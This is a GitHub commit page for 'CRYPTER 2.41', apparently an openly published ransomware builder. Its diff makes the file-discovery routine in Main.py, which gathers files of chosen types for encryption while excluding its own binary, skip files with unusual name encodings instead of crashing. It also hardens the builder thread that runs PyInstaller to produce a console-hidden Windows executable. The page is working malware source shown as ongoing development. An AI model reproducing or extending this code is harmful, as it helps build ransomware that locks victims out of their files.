Skip to content

Commit

Permalink
CRYPTER 2.41
Browse files Browse the repository at this point in the history
- Changed default encoding to UTF-8
- Fixed bug where file paths with unexpected encoding would crash
Crypter exe (GH issues #53 and #54)
- Added handling to check that PyInstaller is installed before
attempting build. This will prevent the builder from hanging (GH issue
  • Loading branch information
Sithis committed Apr 13, 2018
1 parent 53dd957 commit 8dcfbaa
Show file tree
Hide file tree
Showing 2 changed files with 45 additions and 24 deletions.
45 changes: 29 additions & 16 deletions Crypter/Main.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,10 @@
from ScheduledTask import ScheduledTask
from TaskManager import TaskManager

# Encoding
reload(sys)
sys.setdefaultencoding('utf8')


###################
## CRYPTER Class ##
Expand Down Expand Up @@ -325,25 +329,34 @@ def find_files(self):
for file in files:
if os.path.isfile(os.path.join(path, file)):
# Check file is valid
if (
(self.is_valid_filetype(file)) and
(not self.is_excluded_file(file)) and
(not self.is_excluded_dir(path)) and
(file.lower() != binary_name.lower()) and
(not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
):
file_list.append(os.path.join(path, file))
try:
if (
(self.is_valid_filetype(file)) and
(not self.is_excluded_file(file)) and
(not self.is_excluded_dir(path)) and
(file.lower() != binary_name.lower()) and
(not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
):
file_list.append(os.path.join(path, file))
except Exception:
# Skip any files with strange chars not within our encoding
pass
for file in subdirs:
if os.path.isfile(os.path.join(path, file)):
# Check file is valid
if (
(self.is_valid_filetype(file)) and
(not self.is_excluded_file(file)) and
(not self.is_excluded_dir(path)) and
(file.lower() != binary_name.lower()) and
(not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
):
file_list.append(os.path.join(path, file))
try:
if (
(self.is_valid_filetype(file)) and
(not self.is_excluded_file(file)) and
(not self.is_excluded_dir(path)) and
(file.lower() != binary_name.lower()) and
(not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
):
file_list.append(os.path.join(path, file))
except Exception:
# Skip any files with strange chars not within our encoding
pass



return file_list
Expand Down
24 changes: 16 additions & 8 deletions build/ExeBuilder/BuilderThread.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
# Import libs
import time
import os
import sys
import json
import subprocess
from threading import Thread, Event
Expand Down Expand Up @@ -268,10 +269,13 @@ def __run_pyinstaller(self, spec_path):
raise UserHalt

self.__console_log(msg="Calling PyInstaller. Please wait...")


# Get PyInstaller location
pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe")

# Build command
cmd = [
"pyinstaller",
pyinstaller_path,
"--noconsole",
"--clean",
"-F"
Expand All @@ -288,12 +292,16 @@ def __run_pyinstaller(self, spec_path):


# Call PyInstaller subprocess
build = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
creationflags=0x08000000 # To prevent console window opening
)

try:
build = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
creationflags=0x08000000 # To prevent console window opening
)
except WindowsError as we:
raise BuildFailure({"message":"Could not find PyInstaller at '%s'. Check that PyInstaller is installed" % pyinstaller_path,
"ccode":ERROR_FILE_NOT_FOUND})

while True:
# Check for stop
if self.__stop_event.isSet():
Expand Down

0 comments on commit 8dcfbaa

Please sign in to comment.